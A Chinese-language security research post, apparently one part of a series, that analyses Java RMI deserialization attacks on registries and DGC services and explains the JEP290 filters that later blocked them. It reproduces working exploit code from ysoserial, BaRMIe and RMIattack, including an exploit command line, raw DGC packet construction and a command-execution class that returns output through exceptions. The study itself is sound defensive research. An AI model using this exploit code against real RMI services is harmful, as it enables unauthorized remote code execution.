//自己构建一个新的字节流,以原来包的长度和TC_BLOCKDATA标签开头
out = new ByteArrayOutputStream();
out.write(dataBytes, 0, blockLen + 7);

//在后面写入我们给定的payload
out.write(this._payload, 0, this._payload.length);

//最后给一个NULL标签(作为bind方法的第二个参数)
out.write((byte)0x70);

//把新的数据包发送给服务端
return out;
} else {
//不是RMI调用的数据包就直接发送
return data;
}
}

可以看到这边完全是自己重构了客户端发往服务端的数据包,并且给入了两个参数,payload替换Stringnull替换Remote

我们再攻击一下我们的RMI服务端靶机,用wireshark抓包确认下,顺便把后面Ysoserial-RMIRegistryExploit的包先提上来对比一下:

barmie-bind.png

YSO-RMI-bind.png

可以发现Barmie的bind攻击是通过第一个String参数替换payload(Hashset就是CC的攻击链)攻击成功的,而Ysoserial的RMIRegisterExpolit模块的bind攻击是通过构造了一个符合Remote条件的第二个Remote参数(把CC的攻击链包装成了Remote)攻击成功的。

那么之前的疑问 是不是我们只能攻击必须要是Remote类型的Object接口呢?也就破案了:不是,是String和Remote类型均可。

那么也就是说lookupunbindrebindbind四个接口都可以利用同样的原理攻击。

Ysoserial-RMIRegistryExploit - Bind

那么Ysoserial不写代理器还去自己把CC攻击链包装成了Remote类型,也挺有意思的,我们看看它是怎么做的。

命令行用这个命令调用exploit模块:java -cp F:\xxx\java\ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections1 "calc"

看下核心代码ysoserial.exploit.RMIRegistryExploit#exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
	public static void exploit(final Registry registry,
final Class<? extends ObjectPayload> payloadClass,
final String command) throws Exception {
new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {
//获取payload
ObjectPayload payloadObj = payloadClass.newInstance();
Object payload = payloadObj.getObject(command);
String name = "pwned" + System.nanoTime();
//将payload封装成Map
//然后通过sun.reflect.annotation.AnnotationInvocationHandler建立起动态代理
//变为Remote类型
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
try {
//封装的remote类型,通过RMI客户端的正常接口发出去
registry.bind(name, remote);
} catch (Throwable e) {
e.printStackTrace();
}
Utils.releasePayload(payloadObj, payload);
return null;
}});
}
}

使用到了动态代理,简单总结一下:

  • 被代理的接口:Remote.class
  • 代理的实现类(也可以理解为拦截器):sun.reflect.annotation.AnnotationInvocationHandler
  • 动态代理之后的对象:调用实现Remote接口的绑定代理的对象的任意方法都会自动被拦截,前往sun.reflect.annotation.AnnotationInvocationHandler的invoke方法执行。

简单看下是怎么ysoserial是怎么样完成动态代理的,即ysoserial.payloads.util.Gadgets#createMemoitizedProxy的实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
//Map是我们传入的,需要填充进入AnnotationInvocationHandler构造方法中的对象。
//iface是被动态代理的接口
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}

//这里创建了一个`sun.reflect.annotation.AnnotationInvocationHandler`拦截器的对象
//传入了我们含有payload的map,进入构造方法,会在构造方法内进行赋值给对象的变量
public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}

//正式开始绑定代理动态代理
//ih 拦截器
//iface 需要被代理的类
//ifaces 这里没有
public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[ 0 ] = iface;
if ( ifaces.length > 0 ) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
}
//上面整合了一下需要代理的接口到allIfaces里面
//然后Proxy.newProxyInstance,完成allIfaces到ih的绑定
//(Gadgets.class.getClassLoader()就是获取了一个加载器,不用太管)
//iface.cast是将获取的绑定结果对象转变为iface(即Remote)的对象类型
return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
}

这边就完成了一个通过动态代理封装成了一个Remote.class的接口对象,这样就可以在客户端正常调用registry.bind(name, remote);了,因为bind的接口这么定义了需要Remote对象。

1
2
public void bind(String name, Remote obj)
throws RemoteException, AlreadyBoundException, AccessException;

那么我们传输过去了我们的remote动态代理对象,在服务端解析过程中与动态代理有关系么?

答案是:P关系都没有!

上面可以看到我们的使用的是yso-cc1的payload去在jdk1.7u80中触发payload:而cc1的触发同样使用到了动态代理机制,该payload在服务端的触发与动态代理也息息相关:

  • cc1的payload是一个AnnotationInvocationHandler对象,跟上面类似,在其构造的时候,我们把一个 动态代理到AnnotationInvocationHandler.invoke方法的map 塞入了其memberValues属性中
  • 在服务端触发var.readobject()时,会进入AnnotationInvocationHandler类的readobject()
  • 在readobject()中会执行this.memberValues.entrySet()。entrySet,这是一个map的方法。根据动态代理性质,我们绑定了map的方法到AnnotationInvocationHandler.invoke方法,所以这边就会进入invoke方法。
  • 同时我们还在这个处心积虑想进来的invoke方法的AnnotationInvocationHandler对象中又弄了一个lazyMap在memberValues属性中!只要触发了这个lazyMap的get方法就等于成功。(之后复杂的就略了)
  • 而AnnotationInvocationHandler.invoke方法中刚好有this.memberValues.get(var4);,而这个this.memberValues就是lazyMap。

这边简单讲了下动态代理在一般序列化链中的作用,就是连接一个类的任意方法到一个拦截器的invoke方法(到invoke方法!)

而在这边Ysoserial通过动态代理产生的remote对象丝毫没有用到动态代理核心的特点(到invoke方法中)

它实际做的只是把payload放在一个remote接口的类的属性里面。然后在服务端反序列化的时候,利用反序列化一个对象的过程中会递归类的属性进行反序列化的特点,来反序列化我们的payload,从而触发漏洞。

使用动态代理只是因为:动态代理也同样可以做到把payload放在AnnotationInvocationHandler拦截器的属性里面,然后动态代理可以把拦截器包装成任意类接口,如下:

yso-payload.png

同样我们也可以不用动态代理,自己实现一个remote接口的类,然后放入payload,效果是一样的。

修改一点点:ysoserial.exploit.RMIRegistryExploit#exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//加个Remote接口的类,要支持序列化
private static class BindExploit implements Remote, Serializable {
//弄个地方放payload
private final Object memberValues;

private BindExploit(Object payload) {
memberValues = payload;
}
}
public static void exploit(final Registry registry,
final Class<? extends ObjectPayload> payloadClass,
final String command) throws Exception {
new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {
ObjectPayload payloadObj = payloadClass.newInstance();
Object payload = payloadObj.getObject(command);
String name = "pwned" + System.nanoTime();
//yso动态代理包装
//Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
//自己包装
Remote remote_lala = new BindExploit(payload);

try {
//registry.bind(name, remote);
//自己包装
registry.bind(name, remote_lala);
} catch (Throwable e) {
e.printStackTrace();
}
Utils.releasePayload(payloadObj, payload);
return null;
}});
}

yso-自己包装.png

yso-自己包装-calc.png

这里有一个不是很清楚的问题,自实现remote接口往里放入payload,在RMI客户端有这个类,那序列化传输到RMI服务端,服务端环境里是没有这个类的,是否会报错,无法利用??

本地测试实际上是两个java项目,攻击方yso项目,服务方RMIserialize项目,因此环境是不通的。

测试报错可以证明,是找不到这个类的,但是却不影响利用。

bind-自实现类.png

可以从报错信息中看到是ClassNotFound的,但是仍然弹框成功。大概的理由猜测应该是反序列化恢复一个类的时候会先去处理好他的序列化变量,再去进行组装恢复成类。我们触发payload的过程是恢复他的序列化变量的时候,而之后找得到找不到这个类就不重要了。

这个ysoserial用动态代理去实现remote接口封装payload的操作真的让我迷惑了好久,我一直以为服务端payload触发和动态代理的特性有关(由于CC链是这样的,想当然这样了)。网上的文章大多一笔带过,这边再次感谢0kami大佬QAQ,沟通是真的解惑。

RMIattack - Bind + 回显

在反序列化利用的时候,常常遇到你一个payload打过去,但是对方没反应,你也不知道对方执行了命令没有。命令执行结果回显一直是一个很头疼的问题。RMIattack工具解决了命令回显的问题。

这个工具在Ysoserial-RMIRegistryExploit模块的基础上(同样是用动态调用封装payload至remote接口类,并且使用的是CC1的payload)通过写入了一个class文件,再调用class文件来执行系统命令的形式,实现命令回显。我们简单看下实现过程。

其攻击步骤主要分为两部分:

  1. 先判断系统类型:windows,linux,然后写入一个文件再临时目录。(这里修改了CC链的底层调用函数,yso默认是调用Runtime.getRuntime().exec(),这边改成了write()方法)

    • windows的话生成文件c:/windows/temp/ErrorBaseExec.class
    • linux的话生成/tmp/ErrorBaseExec.class
  2. 根据操作系统类型,从固定路径loadclass加载class,然后调用其do_exec方法,传入要执行的命令。执行的命令结果会写在抛出异常中,服务器通过异常抛出传输执行结果到客户端,然后客户端解析报错信息获取命令执行结果。

由于在工具代码中,写入的文件直接被写成字节串了,这边可以自己打一下自己,来拿到被写入的文件ErrorBaseExec.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public class ErrorBaseExec {
public ErrorBaseExec() {
}
//解析
public static String readBytes(InputStream var0) throws IOException {
BufferedReader var1 = new BufferedReader(new InputStreamReader(var0));
StringBuffer var2 = new StringBuffer();

String var3;
while((var3 = var1.readLine()) != null) {
var2.append(var3).append("\n");
}

String var4 = var2.toString();
return var4;
}

public static void do_exec(String var0) throws Exception {
try {
//执行命令
Process var1 = Runtime.getRuntime().exec(var0);
//解析执行结果
String var2 = readBytes(var1.getInputStream());
//抛出异常到客户端
throw new Exception("8888:" + var2);
} catch (Exception var3) {
if (var3.toString().indexOf("8888") > -1) {
throw var3;
} else {
throw new Exception("8888:" + new String(var3.toString()) + "\r\n");
}
}
}

public static void main(String[] var0) throws Exception {
do_exec("cmd /c dir");
}
}

写入文件,在调用文件,通过报错信息传递命令执行结果,也算是一种思路。

JEP290修复

在JEP290规范之后,即JAVA版本6u141, 7u131, 8u121之后,以上攻击就不奏效了。

在8u112,使用cc链5打一波,可以正常攻击

jep290-8u112.png

在8u161,使用cc链5攻击,就不可以了:REJECTED

jep290-8u161.png

sun.rmi.registry.RegistryImpl#registryFilter处下断点,然后开始调试,往回看,可以发现过滤器是在obj.readObject()语句中的JDK底层进入的,这是JEP在底层实现过滤机制导致的。反序列化动作和过滤器机制都在readObject语句中,这样就不存在逻辑上的跳过、绕过过滤器。

registryFilter.png

sun.rmi.registry.RegistryImpl#registryFilter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
private static Status registryFilter(FilterInfo var0) {
//这里registryFilter为空跳过该判断
if (registryFilter != null) {
Status var1 = registryFilter.checkInput(var0);
if (var1 != Status.UNDECIDED) {
return var1;
}
}
//不允许输入流的递归层数超过20层,超过就报错
if (var0.depth() > 20L) {
return Status.REJECTED;
} else {
//获取输入流序列化class类型到var2
Class var2 = var0.serialClass();
//判断是否为null,null就报错
if (var2 == null) {
return Status.UNDECIDED;
} else {
//判断是否为数组类型
if (var2.isArray()) {
//数组长度大于10000就报错
if (var0.arrayLength() >= 0L && var0.arrayLength() > 10000L) {
return Status.REJECTED;
}
//获取到数组中的成分类,假如是还是数组嵌套,继续获取
do {
var2 = var2.getComponentType();
} while(var2.isArray());
}
//判断是不是JAVA基元类型,就是 绕过Object类型参数 小章中的那些基本类
//是基本类就允许
if (var2.isPrimitive()) {
return Status.ALLOWED;
} else {
//判断我们的输入的序列化类型是否为以下的几类class白名单之中
//如果我们输入的类属于下面这些白名单的类或超类,就返回ALLOWED
//不然就返回REJECTED报错。
return String.class != var2 &&
!Number.class.isAssignableFrom(var2) &&
!Remote.class.isAssignableFrom(var2) &&
!Proxy.class.isAssignableFrom(var2) &&
!UnicastRef.class.isAssignableFrom(var2) &&
!RMIClientSocketFactory.class.isAssignableFrom(var2) &&
!RMIServerSocketFactory.class.isAssignableFrom(var2) &&
!ActivationID.class.isAssignableFrom(var2) &&
!UID.class.isAssignableFrom(var2) ?
Status.REJECTED : Status.ALLOWED;
}
}
}
}

但是我们发现我们传入的payload object是一个Remote.class接口呀,这样不是就是在白名单了么。

实际上一开始是可以通过过滤器检测,但是readobject会把对象一层层递归拆开一个个经过过滤器检查,最后在AnnotationInvocationHandler处就被白名单拦下来了。

reject.png

也没有说有哪个链的payload刚好可以通过白名单,所以在JEP290之后对于注册端的攻击就被拦截了。

注册端对于服务端地址校验的变动

在 RMI 反序列化一文中,我们有实验过:在默认情况下,服务端向注册端进行bind等操作,是会验证服务端地址是否被注册端允许的(默认是只信任本机地址)。

但是我们在上面利用过程中,攻击者(服务端)都不是受害者(注册端)的信任地址,为何没有被这个验证机制所拦截呢?

原因是因为,这个注册端对于服务端的验证在反序列化操作之后

我们以8u112为例来看代码:

8u111服务端验证.png

sun.rmi.registry.RegistryImpl#bind

1
2
3
4
5
6
7
8
9
10
11
12
public void bind(String name, Remote obj)
throws RemoteException, AlreadyBoundException, AccessException
{
//此处验证
checkAccess("Registry.bind");
synchronized (bindings) {
Remote curr = bindings.get(name);
if (curr != null)
throw new AlreadyBoundException(name);
bindings.put(name, obj);
}
}

在8u141之后,JDK代码对于此处验证逻辑发生了变化:变成先验证再反序列化操作了,等于服务端攻击注册端变为不可用。

我们来看161与112的对比情况

161-112对比.png

那么单单从验证服务端逻辑来说,8u141之后,服务端bind之类的打注册端变得不可利用。但是客户端lookup打注册端因为不需要验证,不受这个变动影响。

但是对比上面的版本JEP290的封堵,自从8u121,客户端lookup打,服务单bind打就都不可利用了。这边的改动其实意义不大,但是还是之前注意到过,领出来提一下。

但是假如可以JEP290绕过了,这里就变得非常有意思了,8u141之后lookup可以利用,bind不能利用。

RMI DGC层反序列化

网上的文章讲到RMI的DGC层,经常总结说到:是为了绕过RMI注册端jdk8u121后出现的白名单限制才出现的。

这也是对的,但是也不是完全对。一开始我也是因为ysoserial中的exploit模块和payload模块弄混了搞不清楚。在开始前我们需要区分:

ysoserial的payload JRMPClient 是为了绕过jdk8u121后出现的白名单限制。这利用到了DGC层,所以上面句话也是对的。

ysoserial的exploit JRMPClient 是可以直接利用DGC层攻击RMI注册端的,其基础原理跟ysoserial-RMIRegistryExploit几乎是一样的。同时这种攻击方式是绕过不过jdk8u121的。

我们接下来讲到的是 ysoserial的exploit JRMPClient。而payload JRMPClient与绕过jdk8u121将在下篇说到。

DGC客户端打DGC服务端

我们先来看与Bind攻击类似的另外一条更为底层的攻击路径:ysoserial的exploit JRMPClient 。

先来演示下攻击效果:依旧是8u111的ServerAndRegister起服务端 ,客户端使用yso的exploit JRMPClient 模块

exploit-JRMPClient.png

JRMP-8u111.png

可以攻击成功。

那么回过头来看看原理:DGC(Distributed Garbage Collection)——分布式垃圾回收机制

这个DGC是用于维护服务端中被客户端使用的远程引用才存在的。其中包括两个方法dirtyclean,简单来说:

  • 客户端想要使用服务端上的远程引用,使用dirty方法来注册一个。同时这还跟租房子一样,过段时间继续用的话还要再调用一次来续租。
  • 客户端不使用的时候,需要调用clean方法来清楚这个远程引用。

由于我们的RMI服务就是基于远程引用的,其底层的远程引用维护就是就是使用DGC,起一个RMI服务必有DGC层。于是我们就打这个DGC服务。

相对于RMIRegistryExploit模块,这个模块攻击范围更广因为RMI服务端或者RMI注册端都会开启DGC服务端。

看看DGC服务端最后是哪里触发了反序列化执行:sun.rmi.transport.DGCImpl_Skel#dispatch

(跟sun.rmi.registry.RegistryImpl_Skel#dispatch)极其类似

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
//一样是一个dispatch用于分发作用的方法
//固定接口hash校验
if (var4 != -669196253586618813L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
DGCImpl var6 = (DGCImpl)var1;
ObjID[] var7;
long var8;
//判断dirty和clean分支流
switch(var3) {
//clean分支流
case 0:
VMID var39;
boolean var40;
try {
//从客户端提供的输入流取值
ObjectInput var14 = var2.getInputStream();
//对于取值进行反序列化,***漏洞触发点***
var7 = (ObjID[])var14.readObject();
var8 = var14.readLong();
var39 = (VMID)var14.readObject();
var40 = var14.readBoolean();
} catch (IOException var36) {
throw new UnmarshalException("error unmarshalling arguments", var36);
} catch (ClassNotFoundException var37) {
throw new UnmarshalException("error unmarshalling arguments", var37);
} finally {
var2.releaseInputStream();
}
//进行clean操作,已经完成了攻击,之后操作已经不重要了。
var6.clean(var7, var8, var39, var40);

//..省略部分无关操作
//dirty方法分支流,跟clean在漏洞触发点上是一样没差的
case 1:
Lease var10;
try {
//从客户端提供的输入流取值
ObjectInput var13 = var2.getInputStream();
//对于取值进行反序列化,***漏洞触发点***
var7 = (ObjID[])var13.readObject();
var8 = var13.readLong();
var10 = (Lease)var13.readObject();
} catch (IOException var32) {
throw new UnmarshalException("error unmarshalling arguments", var32);
} catch (ClassNotFoundException var33) {
throw new UnmarshalException("error unmarshalling arguments", var33);
} finally {
var2.releaseInputStream();
}

Lease var11 = var6.dirty(var7, var8, var10);

//..省略无关操作
default:
throw new UnmarshalException("invalid method number");
}
}

一致的漏洞触发点,没问题。可以看到这里触发点的话无论是选dirty那条线还是clean那条线都是一样的。

那客户端怎样与服务端通讯呢,之前RMIRegistryExploit是bind(name,payload)这里插入payload,然后传输到服务端。

DGC这里我们客户端在哪里可以插入payload?

此处我自己并没有找到一个与bind()类似的封装好的方法,可以方便我们调试的直接发起一个DGC层的请求。但是我们在sun.rmi.server.UnicastRef#invoke(java.rmi.server.RemoteCall)处下一个断点,然后在sun.rmi.transport.DGCImpl#dirty下一个断点,调试github上的ServerAndRegister.java就可以得到这个DGC层的通讯客户端-服务端的过程(是在bind()绑定对象的时候产生的通讯)

跟RMI-register这些一样,DGCImpl_Skel是服务端代码,DGCImpl_Stub是客户端代码;但是这两个class也跟我们之前说的一样(动态生成?),总之是无法下断点调试的。所以在其内部调用的其他方法下断点来调试。

然后感谢这个老哥给了个例子,客户端lookup也会产生DGC通讯。(其实大多操作都会有DGC,这里抄一下放在github中嘿嘿)但是仍然先来看ServerAndRegister.java的通讯

DGC客户端处:

DGC客户端.png

DGC服务端处:

DGC服务端.png

根据客户端调用栈来回退到DGCImpl_Stubdirty方法,去看应该在哪里插入payload(clean其实也一样)就看sun.rmi.transport.DGCImpl_Stub#dirty好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {
try {
//开启了一个连接,似曾相识的 669196253586618813L 在服务端也有
RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L);

try {
//获取连接的输入流
ObjectOutput var6 = var5.getOutputStream();
//写入一个对象,在实现的本意中,这里是一个ID的对象列表ObjID[]
//***这里就是我们payload写入的地方***
var6.writeObject(var1);
//------
var6.writeLong(var2);
var6.writeObject(var4);
} catch (IOException var20) {
throw new MarshalException("error marshalling arguments", var20);
}

super.ref.invoke(var5);

Lease var24;
try {
ObjectInput var9 = var5.getInputStream();
var24 = (Lease)var9.readObject();
//省略大量错误处理..
}

这里我们就找到了DGC客户端该放payload的地方,和DGC服务端触发反序列化的地方。

接下就是去实现一个POC,把payload放进去。可以发现我们去寻找的DGC客户端该放payload的地方调用栈很深,这代表着我们从顶层开始传输payload一直到我们想要放置payload的参数,payload不变可能性极低或难度极大。所以针对这种很底层的payload的poc构建通常使用自实现一个客户端去拼接序列化数据包。

Ysoserial的JRMP-Client exploit模块就是这么实现的,其核心在于makeDGCCall方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//传入目标RMI注册端(也是DGC服务端)的IP端口,以及攻击载荷的payload对象。
public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
InetSocketAddress isa = new InetSocketAddress(hostname, port);
Socket s = null;
DataOutputStream dos = null;
try {
//建立一个socket通道,并为赋值
s = SocketFactory.getDefault().createSocket(hostname, port);
s.setKeepAlive(true);
s.setTcpNoDelay(true);
//读取socket通道的数据流
OutputStream os = s.getOutputStream();
dos = new DataOutputStream(os);
//*******开始拼接数据流*********
//以下均为特定协议格式常量,之后会说到这些数据是怎么来的
//传输魔术字符:0x4a524d49(代表协议)
dos.writeInt(TransportConstants.Magic);
//传输协议版本号:2(就是版本号)
dos.writeShort(TransportConstants.Version);
//传输协议类型: 0x4c (协议的种类,好像是单向传输数据,不需要TCP的ACK确认)
dos.writeByte(TransportConstants.SingleOpProtocol);
//传输指令-RMI call:0x50
dos.write(TransportConstants.Call);

@SuppressWarnings ( "resource" )
final ObjectOutputStream objOut = new MarshalOutputStream(dos);
//DGC的固定读取格式,等会具体分析
objOut.writeLong(2); // DGC
objOut.writeInt(0);
objOut.writeLong(0);
objOut.writeShort(0);
//选取DGC服务端的分支选dirty
objOut.writeInt(1); // dirty
//然后一个固定的hash值
objOut.writeLong(-669196253586618813L);
//我们的反序列化触发点
objOut.writeObject(payloadObject);

os.flush();
}
}

简单分析了一下POC数据包的构成,但是还是尝试搞清楚为什么是这个拼接顺序,为什么要这个值,感觉好玩一些。

我们可以通过在DGC服务端,CC链最终的触发处org.apache.commons.collections.functors.InvokerTransformer#transform处下一个断点,然后客户端使用YSO的exploit JRMPClient攻击服务端,从而得到受攻击服务端的调用栈,然后再回过头分析。

可以得到下面调用栈,在1-5的地方均有POC生成序列化数据必须满足的条件。

JRMPClient调用栈.png

具体的因为好玩画了一张POC与服务端解析位置一一对应的图,图中有具体的反序列化点的方法以及行数同时用Qx来做了对应。(呼,1个小时作图..真爽,协议可以参考官方文档

YSO-EXPLOIT-JRMPClient解析.png

payload触发点没有在上面的图上,因为之前刚分析过了在sun.rmi.transport.DGCImpl_Skel#dispatch,这里没放进去。

此外DGC固定读取格式也是固定的,在sun.rmi.transport.Transport#serviceCall读取了参数之后进行了校验

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 try {
id = ObjID.read(call.getInputStream());
} catch (java.io.IOException e) {
throw new MarshalException("unable to read objID", e);
}

/* get the remote object */
//该dgcID是一个常量,此处进行了验证
Transport transport = id.equals(dgcID) ? null : this;
//根据读取出来的id里面的[0,0,0](三个都是我们序列化写入的值)分别是:
//1.服务端uid给客户端的远程对象唯一标识编号
//2.远程对象有效时长用的时间戳
//3.用于同一时间申请的统一远程对象的另一个用于区分的随机数
//服务端去查询这三个值的hash,判断当前DGC客户端有没有服务端的远程对象
//就是dirty,clean那一套东西
Target target =
ObjectTable.getTarget(new ObjectEndpoint(id, transport));

if (target == null || (impl = target.getImpl()) == null) {
throw new NoSuchObjectException("no such object in table");
}

dgcID:

1
2
3
4
5
//dgcID位置sun.rmi.transport.Transport
/** ObjID for DGCImpl */
private static final ObjID dgcID = new ObjID(ObjID.DGC_ID);
//ObjID.DGC_ID位置:java.rmi.server.ObjID
public static final int DGC_ID = 2;

而这里的2之后的三个0,我们因为攻击服务端,没有去服务端获取过远程对象所以都写成0即可,不然会报错。

至此DGC层的原理分析以及Ysoserial exploit JRMPClient模块原理分析就完成了。仔细分析自主构建的POC之后会发现这种看着小齿轮完美切合的感觉,相当美感。

JEP290修复

在JEP290规范之后,即JAVA版本6u141, 7u131, 8u121之后,以上攻击就不奏效了。

JRMP-8u161.png

同样被白名单过滤了,sun.rmi.transport.DGCImpl#checkInput过滤器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
private static Status checkInput(FilterInfo var0) {
//与`sun.rmi.registry.RegistryImpl#registryFilter`处过滤器完全一致
if (dgcFilter != null) {
Status var1 = dgcFilter.checkInput(var0);
if (var1 != Status.UNDECIDED) {
return var1;
}
}

if (var0.depth() > (long)DGC_MAX_DEPTH) {
return Status.REJECTED;
} else {
Class var2 = var0.serialClass();
if (var2 == null) {
return Status.UNDECIDED;
} else {
while(var2.isArray()) {
if (var0.arrayLength() >= 0L && var0.arrayLength() > (long)DGC_MAX_ARRAY_SIZE) {
return Status.REJECTED;
}

var2 = var2.getComponentType();
}

if (var2.isPrimitive()) {
return Status.ALLOWED;
} else {
//4种白名单限制
return var2 != ObjID.class &&
var2 != UID.class &&
var2 != VMID.class &&
var2 != Lease.class ? Status.REJECTED : Status.ALLOWED;
}
}
}
}

为什么RMI客户端利用传递参数反序列化攻击RMI服务端就不受JEP290限制

那是因为JEP290提供了一些系列过滤器形式:进程级过滤器、自定义过滤器、内置过滤器。但是默认只为RMI注册表RMI分布式垃圾收集器提供了相应的内置过滤器。这两个过滤器都配置为白名单,即只允许反序列化特定类。(就像我们上面看到的一样)

但是RMI客户端利用参数反序列化攻击没有也不能跟RMI注册表RMI分布式垃圾收集器一样使用内置白名单过滤器。使用了,全给你白名单拦截了,我还怎么序列化传输参数数据,参数数据我甚至要自定义一个类,咋可能在你这小小的白名单中?

这就是安全性与实际使用场景相冲突导致的,已知的但是迫不得已无法修复的漏洞。

小结

探测利用开放的RMI服务:

  1. 实际上就是蒙,赌它有这些漏洞RMI服务。

RMI客户端反序列化攻击RMI服务端:

  1. 不一定是要Object类型的接口才行,只要不是基本类型的参数都可以利用。

RMI服务端反序列化攻击RMI注册端:

  1. RMI服务端利用bind攻击注册端的时候,找各种办法把payload变成remote接口这个举动是非必须的,注册端反序列化触发压根不校验。只是为了exp实现而已。
  2. 在将payload变成remote接口的过程中,利用到动态代理,但是压根没有利用到动态代理的”拦截器特性”,只是利用了动态代理可以将任意对象转化接口形式的特性。
  3. 在8u141之后,在利用bind等服务端对于注册端发起的操作时,会因为注册端对于服务端有地址验证而失效。
  4. 利用lookup操作,作为客户端对于注册端发起请求,可以绕过上面的地址验证。

参考

参考统一放在下篇中